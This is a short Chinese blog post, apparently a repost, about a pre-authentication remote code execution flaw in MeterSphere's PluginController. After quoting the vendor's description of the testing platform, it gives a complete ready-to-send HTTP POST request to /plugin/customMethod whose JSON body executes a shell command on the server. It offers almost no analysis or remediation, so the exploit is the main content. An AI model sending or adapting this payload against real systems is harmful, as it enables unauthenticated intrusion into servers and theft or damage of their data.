MeterSphere PluginController Pre-auth RCE

　　原文：https://xz.aliyun.com/t/10772

　　稍微了解了下，https://metersphere.io/

　　官网：MeterSphere 是一站式开源持续测试平台, 涵盖测试跟踪、接口测试、性能测试、 团队协作等功能，全面兼容 JMeter、Postman、Swagger 等开源、主流标准，有效助力开发和测试团队充分利用云弹性进行高度可扩展的自动化测试，加速高质量的软件交付，推动中国测试行业整体效率的提升。

　　payload:

POST /plugin/customMethod HTTP/1.1
Host: host:port
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"entry":"Evil","request":"id"}

标签：Pre,https,开源,Content,537.36,PluginController,测试,MeterSphere,RCE
来源： https://www.cnblogs.com/Hi-blog/p/metersphere-rce.html